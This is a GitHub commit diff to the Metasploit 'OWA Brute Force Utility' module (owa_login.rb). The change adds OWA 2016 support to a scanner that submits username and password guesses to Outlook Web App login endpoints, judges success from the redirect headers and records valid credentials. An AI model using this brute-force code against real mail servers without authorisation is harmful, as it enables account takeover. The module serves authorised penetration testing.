Skip to content

Commit 56c00a8

Browse files
committed
initial OWA 2016 support
1 parent 3d67d2e commit 56c00a8

File tree

1 file changed

+19
-9
lines changed

1 file changed

+19
-9
lines changed

modules/auxiliary/scanner/http/owa_login.rb

Lines changed: 19 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,7 @@ def initialize
1616
super(
1717
'Name' => 'Outlook Web App (OWA) Brute Force Utility',
1818
'Description' => %q{
19-
This module tests credentials on OWA 2003, 2007, 2010, and 2013 servers.
19+
This module tests credentials on OWA 2003, 2007, 2010, 2013, and 2016 servers.
2020
},
2121
'Author' =>
2222
[
@@ -68,6 +68,15 @@ def initialize
6868
'InboxPath' => '/owa/',
6969
'InboxCheck' => /Inbox|logoff\.owa/
7070
}
71+
],
72+
[
73+
'OWA_2016',
74+
{
75+
'Description' => 'OWA version 2016',
76+
'AuthPath' => '/owa/auth.owa',
77+
'InboxPath' => '/owa/',
78+
'InboxCheck' => /Inbox|logoff\.owa/
79+
}
7180
]
7281
],
7382
'DefaultAction' => 'OWA_2013',
@@ -158,13 +167,13 @@ def try_user_pass(opts)
158167
}
159168

160169
if datastore['SSL']
161-
if action.name == "OWA_2013"
170+
if ["OWA_2013", "OWA_2016"].include?(action.name)
162171
data = 'destination=https://' << vhost << '/owa&flags=4&forcedownlevel=0&username=' << user << '&password=' << pass << '&isUtf8=1'
163172
else
164173
data = 'destination=https://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass
165174
end
166175
else
167-
if action.name == "OWA_2013"
176+
if ["OWA_2013", "OWA_2016"].include?(action.name)
168177
data = 'destination=http://' << vhost << '/owa&flags=4&forcedownlevel=0&username=' << user << '&password=' << pass << '&isUtf8=1'
169178
else
170179
data = 'destination=http://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass
@@ -201,12 +210,12 @@ def try_user_pass(opts)
201210
vprint_status("#{msg} Resolved hostname '#{datastore['RHOST']}' to address #{res.peerinfo['addr']}")
202211
end
203212

204-
if action.name != "OWA_2013" and res.get_cookies.empty?
213+
if !["OWA_2013", "OWA_2016"].include?(action.name) && res.get_cookies.empty?
205214
print_error("#{msg} Received invalid repsonse due to a missing cookie (possibly due to invalid version), aborting")
206215
return :abort
207216
end
208-
if action.name == "OWA_2013"
209-
# Check for a response code to make sure login was valid. Changes from 2010 to 2013.
217+
if ["OWA_2013", "OWA_2016"].include?(action.name)
218+
# Check for a response code to make sure login was valid. Changes from 2010 to 2013 / 2016
210219
# Check if the password needs to be changed.
211220
if res.headers['location'] =~ /expiredpassword/
212221
print_good("#{msg} SUCCESSFUL LOGIN. #{elapsed_time} '#{user}' : '#{pass}': NOTE password change required")
@@ -222,8 +231,9 @@ def try_user_pass(opts)
222231

223232
# No password change required moving on.
224233
# Check for valid login but no mailbox setup
225-
if res.headers['location'] =~ /owa/ and res.headers['location'] !~ /reason/
226-
print_good("#{msg} SUCCESSFUL LOGIN. #{elapsed_time} '#{user}' : '#{pass}': NOTE a mailbox is not setup")
234+
print_good("server type: #{res.headers["X-FEServer"]}")
235+
if res.headers['location'] =~ /owa/
236+
print_good("#{msg} SUCCESSFUL LOGIN. #{elapsed_time} '#{user}' : '#{pass}'")
227237
report_cred(
228238
ip: res.peerinfo['addr'],
229239
port: datastore['RPORT'],
@@ -235,7 +245,7 @@ def try_user_pass(opts)
235245
end
236246

237247
unless location = res.headers['location']
238-
print_error("#{msg} No HTTP redirect. This is not OWA 2013, aborting.")
248+
print_error("#{msg} No HTTP redirect. This is not OWA 2013 / 2016 system, aborting.")
239249
return :abort
240250
end
241251
reason = location.split('reason=')[1]

0 commit comments

Comments
 (0)